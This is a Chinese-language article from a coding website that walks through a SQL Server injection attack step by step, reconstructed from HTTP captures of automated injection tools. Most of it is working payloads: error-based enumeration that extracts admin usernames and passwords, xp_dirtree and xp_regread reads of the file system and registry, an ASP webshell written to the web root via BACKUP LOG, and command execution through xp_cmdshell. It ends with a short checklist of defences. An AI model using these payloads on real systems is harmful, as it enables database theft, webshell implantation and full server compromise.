首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入全流程深度還原:從 HTTP 封包側寫看自動化工具如何逐步奪取系統控制權

     編輯:關於SqlServer

實驗環境與工具

  • 目標:某 SQL Server 注入點,SA 權限
  • 嗅探工具:SniffX(HTTP 專用)
  • 注入工具對比:Domain 3.5、NBSI 3.0、AhD 2.32、Pangolin

階段一:注入點確認與資料庫指紋識別

Domain 3.5 封包

news_show.ASP?id=15618%20and%201=1           -- 正常 200
news_show.ASP?id=15618%20and%201=2           -- 錯誤 500 → 可注入
news_show.ASP?id=15618%20and%20exists(select * from sysobjects)  -- 判斷 SQL Server
news_show.ASP?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0     -- 報錯提取當前用戶
news_show.ASP?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0 -- 提取資料庫名
news_show.ASP?id=15618%20And%20IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1 -- 判斷 sysadmin

NBSI 3.0 封包

news_show.ASP?id=15618%20and%20user%2Bchar(124)=0
news_show.ASP?id=15618%20And%20system_user%2Bchar(124)=0
news_show.ASP?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as nvarchar(1))%2Bchar(124)=1
news_show.ASP?id=15618%20And%20db_name()%2Bchar(124)=0

關鍵技術解析

  • char(124) = | 作為分隔符,配合類型轉換錯誤回顯數據
  • 0x730079007300610064006D0069006E00 = N'sysadmin'(Unicode 十六進制),繞過關鍵字過濾
  • IS_SRVROLEMEMBER 返回 int,CAST(... AS nvarchar(1)) 強制轉換製造溢位錯誤洩露結果
  • ;declare @a int-- 測試多語句執行支援(堆疊查詢)

階段二:枚舉資料庫、表、欄位、數據

資料庫列舉(假設 16 個庫)

-- 取數量
And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From master..sysdatabases)>0

-- 逐個提取名稱(子查詢+別名 T 繞過單值限制)
And char(124)+(Select Top 1 cast([name] as varchar(8000)) from (Select Top 1 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
And char(124)+(Select Top 1 cast([name] as varchar(8000)) from (Select Top 2 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
-- 修改 Top N 遍歷所有

表名枚舉(假設 news 庫)

-- 表數量 (xtype=0x55='U' 用戶表)
And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From news..sysobjects where xtype=0x55)>0

-- 逐個提取
And (Select Top 1 cast(name as nvarchar(4000)) from (Select Top 1 id,name from [news]..[sysobjects] Where xtype=0x55 order by id) T order by id desc)>0

欄位與數據提取(假設 Admin 表)

-- 取表 ID
And (Select Top 1 cast(id as nvarchar(20)) from [news].[dbo].[sysobjects] where name='Admin')>0

-- 取欄位名
And (Select Top 1 cast(name as nvarchar(4000))+char(124) from (Select Top 1 colid,name From [news].[dbo].[syscolumns] Where id = 1993058136 Order by colid) T Order by colid desc)>0

-- 取記錄數
And (Select Cast(Count([AdminName]) as nvarchar(4000))+char(124) From [news]..[Admin] Where 1=1)>0

-- 逐行提取 (ISNULL 處理 NULL)
And (Select Top 1 isNull(cast([AdminName] as nvarchar(4000)),char(32))+char(124)+isNull(cast([AdminPassword] as nvarchar(4000)),char(32)) From (Select Top 1 [AdminName],[AdminPassWord] From [news]..[Admin] Where 1=1 Order by [AdminName]) T Order by [AdminName] Desc)>0

階段三:文件系統與登錄表讀取

xp_dirtree 遞迴列目錄

;DROP TABLE techguru; CREATE TABLE techguru(subdirectory nvarchar(400), depth tinyint, [file] bit);
;DELETE techguru; INSERT techguru EXEC master..xp_dirtree 'c:\', 1, 1;
-- 逐行讀取 techguru 表

xp_regread 讀取登錄表


;DROP TABLE techguru; CREATE TABLE techguru(Value nvarchar(4000), Data nvarchar(4000));
;DELETE techguru; INSERT techguru EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/';
-- 讀取 techguru.Data

階段四:Webshell 植入與命令執行

備份日誌法寫入 ASPX/ASP Shell


-- 1. 建立暫存表
create table [dbo].[shit_tmp] ([cmd] [image]);

-- 2. 截斷日誌並寫入 Shell 代碼 (0x3C25657865637574652872657175657374282261222929253E = <%execute(request("a"))%>)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate;
insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E);

-- 3. 將 Shell 寫入 Web 目錄
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk = @s with init,no_truncate;

-- 4. 清理
Drop table [shit_tmp];

xp_cmdshell 直接執行命令


;CREATE TABLE X_2894(id int IDENTITY(1,1), ResultTxt nvarchar(4000));
INSERT X_2894(ResultTxt) EXEC master.dbo.xp_cmdshell 'Dir C:\';
INSERT X_2894 VALUES ('g_over');  -- 結束標記
-- 循環讀取 X_2894.ResultTxt
;DROP TABLE X_2894;

階段五:本地文件上傳

逐行 echo 寫入 VBS/PowerShell 腳本,再執行下載遠端 Payload。

防禦檢核清單

  1. 參數化查詢 / 預編譯語句(根治)
  2. 錯誤訊息統一通用化,不回顯堆疊追蹤
  3. 資料庫帳號最小權限:禁止 sysadmin、xp_cmdshell、xp_regread、xp_dirtree、BACKUP LOG ... TO DISK
  4. Web 應用防火牆(WAF)攔截明顯攻擊特徵
  5. 定期審計 master..sysobjects 異常表、sp_configure 危險選項
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved